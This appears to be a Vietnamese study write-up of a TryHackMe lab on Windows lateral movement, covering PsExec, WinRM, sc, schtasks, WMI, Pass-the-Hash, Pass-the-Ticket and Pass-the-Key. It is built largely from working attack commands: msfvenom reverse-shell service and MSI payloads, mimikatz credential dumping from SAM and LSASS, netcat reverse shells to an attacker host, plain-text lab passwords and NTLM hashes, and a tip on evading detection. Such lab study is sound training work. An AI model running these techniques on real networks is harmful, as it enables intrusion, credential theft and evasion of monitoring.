Moving Through the Network

What is Lateral Movement?

Nói một cách đơn giản, lateral movement là tập các kỹ thuật mà attacker dùng để di chuyển giữa các máy khác nhau ở trong một network.

Sau khi chiếm quyền truy cập đến một máy, việc di chuyển sang các máy khác có trong network là cần thiết vì nhiều lý do:

  • Bypass network restriction
  • Ngăn chặn việc bị phát hiện và gây rối
  • Thiết lập thêm các entry point cho network

A Quick Example

Giả sử chúng ta đang thực hiện một bài kiểm tra an ninh (red team engagement) với mục tiêu cuối cùng là truy cập vào code repository. Bước đầu tiên, chúng ta đã xâm nhập vào mạng mục tiêu thông qua một chiến dịch phishing. Phishing thường hiệu quả hơn với những người không có nền tảng kỹ thuật nên chúng ta đã truy cập được vào một máy trong bộ phận Marketing.

Các máy của Marketing thường bị hạn chế bởi các chính sách firewall. Cụ thể, các chính sách này ngăn truy cập vào các dịch vụ quan trọng chẳng hạn như:

  • Các giao thức quản trị (RDP, SSH, etc)
  • Database
  • Các dịch vụ giám sát
  • Các dịch vụ không cần thiết cho công việc hàng ngày, bao gồm cả code repository

Để tiếp cận các máy chủ và dịch vụ nhạy cảm, chúng ta cần di chuyển sang các máy khác và dùng các máy này làm điểm trung gian (pivot) để đạt được mục tiêu cuối cùng. Ta có thể thử leo quyền trên máy của bộ phận Marketing và trích xuất các password hash của người dùng cục bộ. Nếu tìm thấy tài khoản của local admin, có khả năng tài khoản này cũng có mặt trên các máy khác. Sau khi thu thập thông tin, chúng ta phát hiện một máy có tên DEV-001-PC. Sử dụng password hash của local admin, ta truy cập vào DEV-001-PC và xác nhận rằng nó thuộc về một lập trình viên trong công ty. Từ đây, chúng ta có thể truy cập vào code repository mục tiêu.

Note

Lateral movement không chỉ giúp bypass firewall restriction mà còn dùng để ngăn chặn việc bị phát hiện. Trong ví dụ trên, cho dù máy của bộ phận Marketing có quyền truy cập đến code respository thì chúng ta cũng nên truy cập thông qua máy của developer vì đây là một hành vi bình thường.

The Attacker’s Perspective

Có nhiều cách để di chuyển giữa các máy. Cách đơn giản nhất là sử dụng các giao thức quản trị chẳng hạn như WinRM, RDP, VNC hoặc SSH để kết nối đến các máy khác ở trong network.

Administrators and UAC

Mọi tài khoản admin đều có mục đích như nhau nhưng có hai loại admin:

  • Local administrator
  • Domain administrator

Sự khác biệt nằm ở User Account Control (UAC) đối với local admin (ngoại trừ tài khoản Administrator mặc định). Nếu không thiết lập gì thêm, các tài khoản local admin sẽ không thể kết nối đến máy khác và thực hiện các tác vụ quản trị trừ khi sử dụng RDP. Cụ thể hơn, Windows sẽ từ chối tất cả các tác vụ thông qua RPC, SMB hoặc WinRM bởi vì các tài khoản local admin sẽ được đăng nhập với một token bị giới hạn và không thể thực hiện các tác vụ cần có đặc quyền.

Tài khoản local duy nhất mà có đầy đủ đặc quyền là tài khoản Administrator mặc định. Trong quá trình di chuyển giữa các máy mà bị thất bại thì có thể là do chúng ta sử dụng một tài khoản local admin không phải mặc định và bị hạn chế bởi UAC.

Ngược lại với các tài khoản local admin, các tài khoản domain admin sẽ có đầy đủ các đặc quyền.

Seealso

User Account Control and remote restrictions - Windows Server | Microsoft Learn

Spawning Processes Remotely

PsExec

Info

Ports: 445/TCP (SMB) Yêu cầu về quyền: Administrator

Là chương trình cho phép quản trị viên chạy lệnh ở trên một remote host. PsExec thuộc Sysinternals Tools.

PsExec hoạt động như sau:

  1. Kết nối tới Admin$ share và một upload tập tin thực thi của service có tên là psexesvc.exe.
  2. Kết nối đến service control manager để tạo và chạy một service có tên là PSEXESVC. Đồng thời, liên kết tập tin được upload ở C:\Windows\psexesvc.exe với service PSEXESVC.
  3. Tạo ra một số pipe để xử lý stdin/stdout/stderr.

Câu lệnh sử dụng PsExec để truy cập vào cmd.exe ở máy mục tiêu:

psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe

WinRM

Info

Ports: 5985/TCP (WinRM HTTP) hoặc 5986/TCP (WinRM HTTPS) Yêu cầu về quyền: Remote Management Users

Windows Remote Management (WinRM) là một giao thức dạng web cho phép gửi các câu lệnh PowerShell đến các máy Windows từ xa. Theo mặc định, đa số các máy sử dụng Windows Server sẽ cho phép WinRM.

Để tạo ra một PowerShell session ở trên một remote host bằng CMD:

winrs.exe -u:Administrator -p:Mypass123 -r:target cmd

Chúng ta cũng có thể sử dụng PowerShell nhưng cần phải tạo ra một PSCredential object:

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; 
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

Sau khi tạo được PSCredential object, chúng ta có thể tạo ra PowerShell session sử dụng Enter-PSSession cmdlet:

Enter-PSSession -Computername TARGET -Credential $credential

PowerShell cũng hỗ trợ Invoke-Command cmdlet giúp thực thi một khối lệnh thông qua WinRM cùng với một PSCredential object:

Invoke-Command -Computername TARGET -Credential $credential -ScriptBlock {whoami}

sc

Info

Ports:

  • 135/TCP, 49152-65535/TCP (DCE/RPC)
  • 445/TCP (RPC over SMB Named Pipes)
  • 139/TCP (RPC over SMB Named Pipes)

Yêu cầu về quyền: Administrators

Các service của Windows có thể bị lạm dụng để chạy bất kỳ câu lệnh nào bởi vì chúng sẽ thực thi lệnh khi được khởi chạy.

Note

File thực thi của các service khác với của các ứng dụng thông thường. Do đó, nếu chúng ta cấu hình một service chạy ứng dụng thì nó vẫn thực thi nhưng sau đó sẽ gặp lỗi.

Chúng ta sẽ sử dụng chương trình sc.exe để tạo ra service ở trên một remote host. Khi sử dụng sc, nó sẽ kết nối đến Service Control Manager (SVCCTL) ở trên một remote host theo một vài cách khác nhau:

  1. Sử dụng DCE/RPC: client sẽ kết nối đến Endpoint Mapper (EPM) ở port 135, vốn cung cấp các RPC endpoints khả dụng của SVCCTL. Sau đó, EPM sẽ trả về IP và port nằm trong khoảng 49152-65535 của SVCCTL. Cuối cùng, client sẽ thực hiện RPC bind với SVCCTL.

  2. Nếu RPC bind với SVCCTL thất bại, sc sẽ kết nối tới SVCCTL thông qua các SMB pipe hoặc ở trên port 445 (SMB) hoặc port 139 (SMB trên NetBIOS).

Chúng ta có thể tạo và khởi chạy một service ở trên một remote host có tên là THMservice giúp thêm một local user thông qua các câu lệnh sau:

sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
sc.exe \\TARGET start THMservice

Dừng và xóa service:

sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

Scheduled Tasks

Chúng ta cũng có thể lạm dụng các scheduled task thông qua chương trình schtasks.

Để tạo ra một scheduled task có tên là THMtask1, có thể sử dụng các câu lệnh sau:

schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 
schtasks /s TARGET /run /TN "THMtask1" 

Với option /sc ONCE khiến cho scheduled task chỉ được thực thi một lần duy nhất. Do chúng ta sẽ thực thi scheduled task này một cách thủ công nên ngày bắt đầu (/sd) và thời gian bắt đầu (/st) không quan trọng.

Để xóa scheduled task:

schtasks /S TARGET /TN "THMtask1" /DELETE /F

Lab

Như đã đề cập, các file thực thi của service khác với các file .exe và các file thực thi không phải service sẽ bị kill bởi service manager gần như là ngay lập tức. May mắn thay, msfvenom hỗ trợ định dạng exe-service, giúp đóng gói bất kỳ payoad nào vào một file thực thi của service để tránh bị kill.

root@ip-10-10-138-35:~# msfvenom -p windows/shell/reverse_tcp -f exe-service LHOST=lateralmovement LPORT=4444 -o evil-service.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe-service file: 15872 bytes
Saved as: evil-service.exe

Sau khi tạo ra reverse shell thì chúng ta upload lên ADMIN$ share thông qua SMB:

root@ip-10-10-138-35:~# smbclient -c 'put evil-service.exe' -U t1_leonard.summers -W ZA '//thmiis.za.tryhackme.com/admin$/' EZpass4ever
WARNING: The "syslog" option is deprecated
putting file evil-service.exe as \evil-service.exe (553.6 kb/s) (average 553.6 kb/s)

Login vào host thmjmp2 thông qua SSH sử dụng tài khoản ZA.TRYHACKME.COM\t1_leonard.summers của một Tier 1 admin với password là EZpass4ever:

root@ip-10-10-180-121:~# ssh ZA.TRYHACKME.COM\\t1_leonard.summers@thmjmp2.za.tryhackme.com
ZA.TRYHACKME.COM\t1_leonard.su@thmjmp2.za.tryhackme.com's password:
 
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
 
za\t1_leonard.summers@THMJMP2 C:\Users\t1_leonard.summers>

Note

Lý do mà ta sử dụng tài khoản của admin là vì bài lab này sử dụng sc.exe để tạo reverse shell và chương trình này yêu cầu quyền admin.

Sau khi login thì shell đã có token của admin. Khi đó, chúng ta thực hiện tạo và khởi chạy service có file thực thi là reverse shell vừa upload:

za\t1_leonard.summers@THMJMP2 C:\Users\t1_leonard.summers>sc.exe \\thmiis.za.tryhackme.com create THMservice-8888 binPath= "%windir%\evil-service.exe" start= auto
[SC] CreateService SUCCESS
 
za\t1_leonard.summers@THMJMP2 C:\Users\t1_leonard.summers>sc.exe \\thmiis.za.tryhackme.com start THMservice-8888
SERVICE_NAME: THMservice-8888
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
        PID                : 780
        FLAGS              :

Với %windir% chính là ADMIN$ share.

Ở phía host của attacker, chạy một meterpreter và nhận được reverse shell như sau:

root@ip-10-10-180-121:~# msfconsole -q -x "use exploit/multi/handler; set payload windows/shell/reverse_tcp; set LHOST lateralmovement; set LPORT 4444;exploit"
This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/shell/reverse_tcp
LHOST => lateralmovement
LPORT => 4444
[*] Started reverse TCP handler on 10.50.65.105:4444
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 10.200.71.201
[*] Command shell session 1 opened (10.50.65.105:4444 -> 10.200.71.201:59888) at 2024-09-29 15:47:13 +0100
 
 
Shell Banner:
Microsoft Windows [Version 10.0.17763.1098]
-----
 
 
C:\Windows\system32>

Cuối cùng, thực hiện một số enumeration và lấy flag:

C:\Windows\system32>cd C:\Users\t1_leonard.summers
cd C:\Users\t1_leonard.summers
 
C:\Users\t1_leonard.summers>hostname
hostname
THMIIS
 
C:\Users\t1_leonard.summers>ipconfig
ipconfig
 
Windows IP Configuration
 
 
Ethernet adapter Ethernet 4:
 
   Connection-specific DNS Suffix  . : eu-west-1.compute.internal
   IPv4 Address. . . . . . . . . . . : 10.200.71.201
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.200.71.1
 
C:\Users\t1_leonard.summers>dir
dir
 Volume in drive C is Windows
 Volume Serial Number is 1634-22A9
 
 Directory of C:\Users\t1_leonard.summers
 
2022/04/27  17:27    <DIR>          .
2022/04/27  17:27    <DIR>          ..
2022/06/17  18:41    <DIR>          Desktop
2022/04/19  18:57    <DIR>          Documents
2018/09/15  08:19    <DIR>          Downloads
2018/09/15  08:19    <DIR>          Favorites
2018/09/15  08:19    <DIR>          Links
2018/09/15  08:19    <DIR>          Music
2018/09/15  08:19    <DIR>          Pictures
2018/09/15  08:19    <DIR>          Saved Games
2018/09/15  08:19    <DIR>          Videos
               0 File(s)              0 bytes
              11 Dir(s)  46\ufffd556\ufffd856\ufffd320 bytes free
 
C:\Users\t1_leonard.summers>cd Desktop
cd Desktop
 
C:\Users\t1_leonard.summers\Desktop>Flag.exe
Flag.exe
THM{MOVING_WITH_SERVICES}

Success

THM{MOVING_WITH_SERVICES}

Moving Laterally Using WMI

Windows Management Instrumentation (WMI) là một implementation của Web-Based Enterprise Management (WBEM), một tiêu chuẩn dùng cho việc truy cập các thông tin quản trị giữa các thiết bị. Đơn giản hơn, WMI cho phép quản trị viên thực hiện các tác vụ quản lý mà attacker có thể lạm dụng để di chuyển giữa các máy khác nhau.

Trước khi kết nối đến WMI sử dụng các câu lệnh PowerShell, ta cần tạo ra một PSCredential object:

$username = 'Administrator';
$password = 'Mypass123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;

Chúng ta sẽ thiết lập một WMI session từ PowerShell thông qua các giao thức sau:

  • DCOM: RPC trên IP sử dụng port 135/TCP và port 49152-65535/TCP (giống sc.exe).
  • Wsman: sử dụng WinRM để kết nối đến WMI sử dụng port 5985/TCP (WinRM HTTP) hoặc port 5986/TCP (WinRM HTTPS).

Câu lệnh thiết lập WMI session:

$Opt = New-CimSessionOption -Protocol DCOM
$Session = New-Cimsession -ComputerName TARGET -Credential $credential -SessionOption $Opt -ErrorAction Stop

Cmdlet New-CimSessionOption được dùng để cấu hình các tùy chọn kết nối cho một WMI session, bao gồm cả giao thức kết nối. Các option và các credential sau đó sẽ được truyền vào cmdlet New-CimSession để thiết lập session.

Note

Tất cả các cách di chuyển giữa các máy sử dụng WMI đều yêu cầu quyền admin.

Remote Process Creation Using WMI

Tạo một process ở trên một remote host thông qua WMI như sau:

$Command = "powershell.exe -Command Set-Content -Path C:\text.txt -Value munrawashere";
 
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{
	CommandLine = $Command
}

Với $Session là session mà ta đã tạo từ trước.

Trên các hệ thống cũ, câu lệnh tương đương sử dụng CMD là:

wmic.exe /user:Administrator /password:Mypass123 /node:TARGET process call create "cmd.exe /c calc.exe" 

Creating Services Remotely with WMI

Tạo service ở trên host từ xa thông qua WMI:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Service -MethodName Create -Arguments @{
	Name = "THMService2";
	DisplayName = "THMService2";
	PathName = "net user munra2 Pass123 /add"; # Your payload
	ServiceType = [byte]::Parse("16"); # Win32OwnProcess : Start service in a new process
	StartMode = "Manual"
}

Lấy một handle đến service và khởi chạy nó:

$Service = Get-CimInstance -CimSession $Session -ClassName Win32_Service -filter "Name LIKE 'THMService2'"
 
Invoke-CimMethod -InputObject $Service -MethodName StartService

Dừng và xóa service như sau:

Invoke-CimMethod -InputObject $Service -MethodName StopService
Invoke-CimMethod -InputObject $Service -MethodName Delete

Creating Scheduled Tasks Remotely with WMI

Tạo ra scheduled task thông qua WMI:

# Payload must be split in Command and Args
$Command = "cmd.exe"
$Args = "/c net user munra22 aSdf1234 /add"
 
$Action = New-ScheduledTaskAction -CimSession $Session -Execute $Command -Argument $Args
Register-ScheduledTask -CimSession $Session -Action $Action -User "NT AUTHORITY\SYSTEM" -TaskName "THMtask2"
Start-ScheduledTask -CimSession $Session -TaskName "THMtask2"

Để xóa scheduled task:

Unregister-ScheduledTask -CimSession $Session -TaskName "THMtask2"

Installing MSI Packages Through WMI

MSI là một định dạng file dành cho các installer (chương trình dùng để cài đặt phần mềm). Nếu chúng ta có thể sao chép một MSI package đến host mục tiêu thì có thể sử dụng WMI để cài đặt nó.

Câu lệnh:

Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\myinstaller.msi"; Options = ""; AllUsers = $false}

Trên các hệ thống cũ sử dụng CMD:

wmic /node:TARGET /user:DOMAIN\USER product call install PackageLocation=c:\Windows\myinstaller.msi

Lab

Tạo ra reverse shell có dạng MSI:

root@ip-10-10-126-209:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=lateralmovement LPORT=4445 -f msi > evil-installer.msi
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of msi file: 159744 bytes

Sử dụng SMB để upload lên máy mục tiêu với tài khoản ZA.TRYHACKME.COM\t1_corine.waters của một Tier 1 admin có password là Korine.1994.

root@ip-10-10-126-209:~# smbclient -c 'put evil-installer.msi' -U t1_corine.waters -W ZA '//thmiis.za.tryhackme.com/admin$/' Korine.1994
WARNING: The "syslog" option is deprecated
putting file evil-installer.msi as \evil-installer.msi (1431.2 kb/s) (average 1431.2 kb/s)

Tiếp theo, sử dụng một PowerShell console để chạy các câu lệnh sau nhằm tạo ra các tham số cần thiết dùng cho một WMI session:

PS C:\> $username='t1_corine.waters';
PS C:\> $password ='Korine.1994';
PS C:\> $securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
PS C:\> $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
PS C:\> $Opt = New-CimSessionOption -Protocol DCOM

Tiến hành cài đặt package vừa upload ở trên remote host thông qua WMI với các tham số trên:

PS C:\Users\t1_corine.waters> Invoke-CimMethod -CimSession $Session -ClassName Win32_Product -MethodName Install -Arguments @{PackageLocation = "C:\Windows\evil-installer.msi"; Options = ""; AllUsers = $false}
 
ReturnValue PSComputerName
----------- --------------
       1603 thmiis.za.tryhackme.com

Chạy một meterpreter để hứng reverse shell:

root@ip-10-10-126-209:~# msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/shell_reverse_tcp; set LHOST lateralmovement; set LPORT 4445;exploit"
This copy of metasploit-framework is more than two weeks old.
 Consider running 'msfupdate' to update to the latest version.
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
LHOST => lateralmovement
LPORT => 4445
[*] Started reverse TCP handler on 10.50.77.50:4445
[*] Command shell session 1 opened (10.50.77.50:4445 -> 10.200.78.201:52805) at 2024-10-03 15:46:45 +0100
 
 
Shell Banner:
Microsoft Windows [Version 10.0.17763.1098]
-----
 
 
C:\Windows\system32>

Truy cập đến Desktop của t1_corine.waters để lấy flag:

C:\Windows\system32>cd C:\Users\t1_corine.waters\Desktop
cd C:\Users\t1_corine.waters\Desktop
 
C:\Users\t1_corine.waters\Desktop>Flag.exe
Flag.exe
THM{MOVING_WITH_WMI_4_FUN}

Success

THM{MOVING_WITH_WMI_4_FUN}

Use of Alternate Authentication Material

Alternate authentication material là các dữ liệu có thể dùng để truy cập vào một máy Windows mà không cần biết password. Điều này là khả thi do cách mà một số protocol hoạt động mà cụ thể là hai giao thức xác thực sau:

  • NTLM
  • Kerberos

NTLM

Nhìn lại một chút về cách mà NLTM hoạt động:

Note

Lưu ý rằng quy trình trên chỉ áp dụng nếu ta sử dụng domain account. Trong trường hợp sử dụng local account của server, nó sẽ tự verify response mà không cần tương tác với domain controller bởi vì nó lưu giữ password hash ở trong SAM.

Pass-the-Hash (PtH)

Nếu có các NTLM hash chưa được crack, chúng ta vẫn có thể dùng để xác thực trong trường hợp domain sử dụng giao thức xác thực NTLM và cách tấn công này gọi là Pass-the-Hash.

Chúng ta có thể dùng công cụ mimikatz để trích xuất các NTLM hash từ local SAM hoặc trích xuất trực tiếp từ bộ nhớ LSASS.

Trích xuất từ local SAM:

mimikatz # privilege::debug
mimikatz # token::elevate
 
mimikatz # lsadump::sam   
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 145e02c50333951f71d13c245d352b50

Note

Lưu ý là chúng ta chỉ có thể trích xuất password hash của các local account từ SAM.

Trích xuất password hash của local account cũng như là các domain account đã đăng nhập gần đây từ bộ nhớ LSASS:

mimikatz # privilege::debug
mimikatz # token::elevate
 
mimikatz # sekurlsa::msv 
Authentication Id : 0 ; 308124 (00000000:0004b39c)
Session           : RemoteInteractive from 2 
User Name         : bob.jenkins
Domain            : ZA
Logon Server      : THMDC
Logon Time        : 2022/04/22 09:55:02
SID               : S-1-5-21-3330634377-1326264276-632209373-4605
        msv :
         [00000003] Primary
         * Username : bob.jenkins
         * Domain   : ZA
         * NTLM     : 6b4a57f67805a663c818106dc0648484

Chúng ta có thể sử dụng password hash trích xuất được để tấn công Pass-the-Hash thông qua mimikatz như sau:

mimikatz # token::revert
mimikatz # sekurlsa::pth /user:bob.jenkins /domain:za.tryhackme.com /ntlm:6b4a57f67805a663c818106dc0648484 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5555"

Với NTLM hash truyền vào, mimikatz sẽ chèn một access token của một nạn nhân vào reverse shell (hoặc bất cứ câu lệnh nào mà ta muốn thực thi).

Note

Chú ý rằng câu lệnh token::revert giúp ta khôi phục lại token không có đặc quyền ban đầu bởi vì Pass-the-Hash không hoạt động với các token có đặc quyền.

Cách làm trên tương tự với việc sử dụng runas /netonly nhưng sử dụng password hash thay vì sử dụng password và tạo ra một reverse shell mà ta có thể dùng để chạy bất kỳ câu lệnh nào dưới danh nghĩa của nạn nhân.

Info

Nếu chúng ta chạy câu lệnh whoami ở trên reverse shell, nó vẫn sẽ hiển thị thông tin của user trước khi thực hiện Pass-the-Hash. Tuy nhiên, bất cứ câu lệnh nào khác đều cũng sẽ sử dụng access token mà ta đã chèn vào.

Đối với Linux, chúng ta có một vài cách để thực hiện Pass-the-Hash như sau:

  1. Kết nối đến RDP sử dụng Pass-the-Hash:

    xfreerdp /v:VICTIM_IP /u:DOMAIN\\MyUser /pth:NTLM_HASH
  2. Sử dụng psexec.py của impacket:

    psexec.py -hashes NTLM_HASH DOMAIN/MyUser@VICTIM_IP
  3. Kết nối đến WinRM sử dụng Pass-the-Hash:

    evil-winrm -i VICTIM_IP -u MyUser -H NTLM_HASH

Kerberos

Nhìn lại cách hoạt động của Kerberos:

  1. Trước tiên là yêu cầu TGT (Ticket Granting Ticket) dùng để yêu cầu các TGS (Ticket Granting Service) từ KDC (Key Distribution Center) service, một service được cài đặt ở trên domain controller dùng để tạo các Kerberos ticket.

  2. Sau đó, yêu cầu TGS từ KDC service:

  3. Cuối cùng, sử dụng TGS đã được cấp để xác thực với service:

Pass-the-Ticket (PtT)

Đôi khi chúng ta có thể trích xuất các Kerberos ticket và các session key từ bộ nhớ LSASS sử dụng mimikatz với quyền SYSTEM:

mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export

Note

Chú ý rằng ta cần trích xuất được cả ticket và session key của nó để có thể sử dụng.

Việc truy xuất các TGT yêu cầu quyền admin còn với các TGS thì có thể sử dụng các tài khoản có quyền thấp hơn.

Sau khi trích xuất được ticket, chúng ta có thể chèn vào session hiện tại bằng mimikatz như sau:

mimikatz # kerberos::ptt [0;427fcd5]-2-0-40e10000-Administrator@krbtgt-ZA.TRYHACKME.COM.kirbi

Việc chèn ticket không yêu cầu đặc quyền của admin. Kiểm tra xem ticket đã được chèn thành công hay chưa bằng cách sử dụng câu lệnh klist:

za\bob.jenkins@THMJMP2 C:\> klist
 
Current LogonId is 0:0x1e43562
 
Cached Tickets: (1)
 
#0>     Client: Administrator @ ZA.TRYHACKME.COM
        Server: krbtgt/ZA.TRYHACKME.COM @ ZA.TRYHACKME.COM
        KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
        Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
        Start Time: 4/12/2022 0:28:35 (local)
        End Time:   4/12/2022 10:28:35 (local)
        Renew Time: 4/23/2022 0:28:35 (local)
        Session Key Type: AES-256-CTS-HMAC-SHA1-96
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called: THMDC.za.tryhackme.com

Overpass-the-Hash/Pass-the-Key

Khi user yêu cầu TGT, họ sẽ gửi một timestamp được mã hóa với khóa được dẫn xuất từ password. Thuật toán mã hóa (đối xứng) có thể là DES (mặc định bị disabled ở trên các phiên bản Windows hiện tại), RC4, AES128 hoặc AES256 (tùy thuộc vào phiên bản Windows được cài đặt cũng như là cấu hình của Kerberos).

Nếu chúng ta có bất kỳ khóa mã hóa nào, chúng ta có thể yêu cầu KDC tạo một TGT mà không cần password. Cách tấn công này gọi là Pass-the-Key.

Trích xuất khóa mã hóa từ bộ nhớ sử dụng mimikatz:

mimikatz # privilege::debug
mimikatz # sekurlsa::ekeys

Tùy thuộc vào loại thuật toán mã hóa, chúng ta có thể chạy các câu lệnh sau của mimikatz để tạo ra reverse shell:

RC4 hash:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /rc4:96ea24eff4dff1fbe13818fbf12ea7d8 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

AES128 hash:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes128:b65ea8151f13a31d01377f5934bf3883 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

AES256 hash:

mimikatz # sekurlsa::pth /user:Administrator /domain:za.tryhackme.com /aes256:b54259bbff03af8d37a138c375e29254a2ca0649337cc4c73addcd696b4cdb65 /run:"c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 5556"

Overpass-the-Hash (OPtH)

Chú ý rằng khi sử dụng RC4, khóa mã hóa sẽ tương đương với NTLM hash của người dùng. Điều này đồng nghĩa với việc nếu chúng ta có thể trích xuất NTLM hash, chúng ta có thể yêu cầu một TGT trong trường hợp thuật toán RC4 được enabled. Cách tấn công này gọi là Overpass-the-Hash (OPtH).

Lab

Chúng ta sẽ truy cập vào host thmjmp2 thông qua SSH sử dụng tài khoản sau của một Tier 2 admin:

  • Username: ZA.TRYHACKME.COM\t2_felicia.dean.
  • Password: iLov3THM!

Tài khoản này có quyền admin ở trên thmjmp2 và ta cần quyền này để trích xuất SAM.

Leo quyền lên tài khoản SYSTEM sử dụng mimikatz:

za\t2_felicia.dean@THMJMP2 C:\Users\t2_felicia.dean>mimikatz.exe               
 
  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53                   
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                                    
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )       
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz                        
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )      
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/ 
 
mimikatz # privilege::debug
Privilege '20' OK
 
mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM
 
504     {0;000003e7} 1 D 16835          NT AUTHORITY\SYSTEM     S-1-5-18            (04g,21p)       Primary -> Impersonated!
 * Process Token : {0;003802d0} 0 D 3693410       ZA\t2_felicia.dean          S-1-5-21-3330634377-1326264276-632209373-4605  (12g,24p)       Primary
 * Thread Token  : {0;000003e7} 1 D 3748790       NT AUTHORITY\SYSTEM         S-1-5-18                                  (04g,21p)       Impersonation (Delegation)

Pass-the-Hash

Trích xuất SAM:

mimikatz # lsadump::sam
Domain : THMJMP2
SysKey : 2e27b23479e1fb1161a839f9800119eb
Local SID : S-1-5-21-1946626518-647761240-1897539217
 
SAMKey : 9a74a253f756d6b012b7ee3d0436f77a
 
RID  : 000001f4 (500)
User : Administrator
  Hash NTLM: 0b2571be7e75e3dbd169ca5352a2dad7
 
RID  : 000001f5 (501)
User : Guest
 
RID  : 000001f7 (503)
User : DefaultAccount

Trích xuất LSASS:

mimikatz # sekurlsa::msv
 
Authentication Id : 0 ; 382383 (00000000:0005d5af)
Session           : NetworkCleartext from 0
User Name         : t2_felicia.dean
Domain            : ZA
Logon Server      : THMDC
Logon Time        : 10/3/2024 3:32:40 PM
SID               : S-1-5-21-3330634377-1326264276-632209373-4605
        msv :
         [00000003] Primary
         * Username : t2_felicia.dean
         * Domain   : ZA
         * NTLM     : 7806fea66c81806b5dc068484b4567f6
         * SHA1     : b5c06a36f629a624e4adce09bd59e5f99c90a9a7
         * DPAPI    : e375158311db4a6357c3e3921cd42e7e
 
...
 
Authentication Id : 0 ; 298622 (00000000:00048e7e)
Session           : RemoteInteractive from 2
User Name         : t1_toby.beck5
Domain            : ZA
Logon Server      : THMDC
Logon Time        : 10/3/2024 3:32:25 PM
SID               : S-1-5-21-3330634377-1326264276-632209373-4620
        msv :
         [00000003] Primary
         * Username : t1_toby.beck5
         * Domain   : ZA
         * NTLM     : 533f1bd576caa912bdb9da284bbc60fe
         * SHA1     : 8a65216442debb62a3258eea4fbcbadea40ccc38
         * DPAPI    : 0537b9105954f5d1d1bc2f1763d86fd6
 
...

Revert token:

mimikatz # token::revert
 * Process Token : {0;0005d5af} 0 D 386910      ZA\t2_felicia.dean      S-1-5-21-3330634377-1326264276-632209373-4605   (12g,24p)       Primary
 * Thread Token  : no token

Sử dụng NTLM hash của t1_toby.beck để chèn access token vào một reverse shell:

mimikatz # sekurlsa::pth /user:t1_toby.beck /domain:za.tryhackme.com /ntlm:533f1bd576caa912bdb9da284bbc60fe /run:"c:\tools\nc64.exe -e cmd.exe 10.50.77.50 4445"
 
user    : t1_toby.beck
domain  : za.tryhackme.com
program : c:\tools\nc64.exe -e cmd.exe 10.50.77.50 4445
impers. : no
NTLM    : 533f1bd576caa912bdb9da284bbc60fe
  |  PID  10648
  |  TID  10652
  |  LSA Process was already R/W
  |  LUID 0 ; 1200579 (00000000:001251c3)
  \_ msv1_0   - data copy @ 000002991094CEE0 : OK !
  \_ kerberos - data copy @ 000002991152D578
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 00000299115181B8 (32) -> null

Hứng reverse shell bằng meterpreter:

msf6 exploit(multi/handler) > run
 
[*] Started reverse TCP handler on 10.50.77.50:4445
[*] Command shell session 5 opened (10.50.77.50:4445 -> 10.200.78.249:50081) at 2024-10-03 16:44:48 +0100
 
 
Shell Banner:
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.
 
